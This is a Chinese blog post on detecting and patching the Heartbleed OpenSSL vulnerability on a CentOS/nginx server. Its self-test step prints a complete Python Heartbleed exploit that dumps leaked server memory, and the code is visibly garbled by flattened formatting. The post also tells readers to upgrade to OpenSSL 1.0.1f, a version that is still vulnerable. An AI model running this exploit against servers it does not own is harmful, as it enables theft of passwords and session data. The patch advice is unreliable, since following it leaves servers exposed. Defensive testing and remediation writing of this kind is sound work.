修复 OpenSSL CVE-2014-0160 Heartbleed 漏洞
修复 OpenSSL CVE-2014-0160 Heartbleed 漏洞 · Apr 11, 2014 533 clicks
前几天爆发出来的这个Heartbleed漏洞肆虐互联网,我测了一下自己的网站,居然也中招了!
这个漏洞让攻击者可以从服务器内存中读取64K资料,当网站有人登陆时,攻击者就能看到用户提交的表单,包括账号密码等。。
这个漏洞让攻击者可以从服务器内存中读取64K资料,当网站有人登陆时,攻击者就能看到用户提交的表单,包括账号密码等。。
第一步,先确定是否中招,用这个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage = '%prog server [options]' , description = 'Test for SSL heartbeat vulnerability (CVE-2014-0160)' ) options.add_option( '-p' , '--port' , type = 'int' , default = 443 , help = 'TCP port to test (default: 443)' ) def h2bin(x): return x.replace( ' ' , ' ').replace(' \n ', ' ').decode(' hex ') hello = h2bin( ''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''' ) hb = h2bin( ''' 18 03 02 00 03 01 40 00 ''' ) def hexdump(s): for b in xrange ( 0 , len (s), 16 ): lin = [c for c in s[b : b + 16 ]] hxdat = ' ' .join( '%02X' % ord (c) for c in lin) pdat = ' '.join((c if 32 <= ord(c) <= 126 else ' .' ) for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout = 5 ): endtime = time.time() + timeout rdata = '' remain = length while remain > 0 : rtime = endtime - time.time() if rtime < 0 : return None r, w, e = select.select([s], [], [], 5 ) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata + = data remain - = len (data) return rdata def recvmsg(s): hdr = recvall(s, 5 ) if hdr is None : print 'Unexpected EOF receiving record header - server closed connection' return None , None , None typ, ver, ln = struct.unpack( '>BHH' , hdr) pay = recvall(s, ln, 10 ) if pay is None : print 'Unexpected EOF receiving record payload - server closed connection' return None , None , None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len (pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True : typ, ver, pay = recvmsg(s) if typ is None : print 'No heartbeat response received, server likely not vulnerable' return False if typ = = 24 : print 'Received heartbeat response:' hexdump(pay) if len (pay) > 3 : print 'WARNING: server returned more data than it should - server is vulnerable!' else : print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ = = 21 : print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len (args) < 1 : options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[ 0 ], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True : typ, ver, pay = recvmsg(s) if typ = = None : print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ = = 22 and ord (pay[ 0 ]) = = 0x0E : break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ = = '__main__' : main() |
运行python ssltest 网站地址,马上就能看到结果。
第二步: 既然确定中了招就得马上修复。
先yum update,结果ocentos的库还没有更新openssl,版本依然停留在1.0.1e
只好去openssl.org下载最新的openssl 1.0.1f,默认安装在/usr/local/ssl/目录下,然后删掉原来的/usr/bin/openssl和/usr/lib/openssl,再做一个软链接。
更新了系统的openssl还不行,nginx还需要重新编译, 运行 nginx -V 查看编译参数,然后修改openssl路径,再重新编译安装。
别忘了重启nginx, 最好重新生成证书,因为之前的证书可能已经泄露。
至此,大功告成。